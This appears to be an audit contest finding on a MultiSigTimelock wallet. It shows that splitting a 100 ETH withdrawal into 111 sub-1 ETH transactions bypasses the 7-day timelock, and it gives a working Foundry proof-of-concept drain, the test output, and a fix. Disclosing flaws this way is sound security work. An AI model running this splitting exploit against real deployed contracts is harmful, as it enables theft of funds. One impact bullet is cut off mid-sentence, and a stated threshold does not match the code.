MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
Submission Details
Impact: medium
Likelihood: medium

Timelock Delays Can Be Bypassed Through Transaction Smurfing

Author Revealed upon completion

Root + Impact

Description

  • The contract's primary security feature is a value-based timelock. According to the README and code, any movement of funds ≥100 must be delayed by 7 days to allow stakeholders to intervene in case of a compromised quorum.

  • The vulnerability exists because the timelock duration is calculated based on the value of a single transaction rather than the cumulative value of pending or recent transactions.

  • An attacker (or a compromised quorum of 3 signers) can split a large 100 ETH transfer into 111 smaller transactions of 0.9 ETH each. Since each individual transaction is <1 ETH, the _getTimelockDelay function returns NO_TIME_DELAY, allowing the entire 100 ETH to be drained without the mandatory 7-day waiting period.

function _getTimelockDelay(uint256 value) internal pure returns (uint256) {
// ...
} else {
@> return NO_TIME_DELAY; // Root cause: returns 0 delay for any value below 1 ETH
}
}

Risk

Likelihood:

  • If 3 of 5 signers are compromised (through key theft or collusion), executing this bypass is straightforward and can be automated via scripts.

  • The cumulative gas cost for multiple small transactions (estimated at 1-2 ETH) is insignificant compared to the potential theft of 100+ ETH.

Impact:

  • Complete elimination of the 7-day security window, which is the contract's primary defense against malicious quorum actions.

  • balance within minutes instead of the intended 7-day window, significantly reducing the time available for detection and response.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {MultiSigTimelock} from "../src/MultiSigTimelock.sol";
contract PoC_TimelockBypass is Test {
MultiSigTimelock public multiSig;
address public OWNER = address(this);
address public SIGNER_2 = makeAddr("signer2");
address public SIGNER_3 = makeAddr("signer3");
address public RECIPIENT = makeAddr("recipient");
function setUp() public {
multiSig = new MultiSigTimelock();
multiSig.grantSigningRole(SIGNER_2);
multiSig.grantSigningRole(SIGNER_3);
// Initial balance of 100 ETH
vm.deal(address(multiSig), 100 ether);
}
function test_BypassTimelockBySplittingValue() public {
// Threshold for NO_TIME_DELAY is < 1 ETH
uint256 chunk = 0.9 ether;
uint256 iterations = 111;
console.log("Starting Smurfing Attack...");
for (uint256 i = 0; i < iterations; i++) {
// 1. Propose small transaction
uint256 txnId = multiSig.proposeTransaction(RECIPIENT, chunk, "");
// 2. Collect 3 confirmations
multiSig.confirmTransaction(txnId);
vm.prank(SIGNER_2);
multiSig.confirmTransaction(txnId);
vm.prank(SIGNER_3);
multiSig.confirmTransaction(txnId);
// 3. Execute immediately with 0 delay
multiSig.executeTransaction(txnId);
}
assertGt(RECIPIENT.balance, 99 ether);
console.log("Attack successful. Recipient balance:", RECIPIENT.balance);
}
}

Run:

forge test --match-path test/PoC_TimelockBypass.t.sol -vvv

Output:

Ran 1 test for test/PoC_TimelockBypass.t.sol:PoC_TimelockBypass
[PASS] test_BypassTimelockBySplittingValue() (gas: 24160612)
Logs:
Starting Smurfing Attack...
Attack successful. Recipient balance: 99900000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped;

Recommended Mitigation

Enforce a minimum timelock delay for all transactions to prevent instant execution through smurfing:

function _getTimelockDelay(uint256 value) internal pure returns (uint256) {
// ... (existing thresholds)
} else if (value >= oneDayTimeDelayAmount) {
return ONE_DAY_TIME_DELAY;
} else {
- return NO_TIME_DELAY;
+ return ONE_DAY_TIME_DELAY; // 24h minimum prevents instant smurfing
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!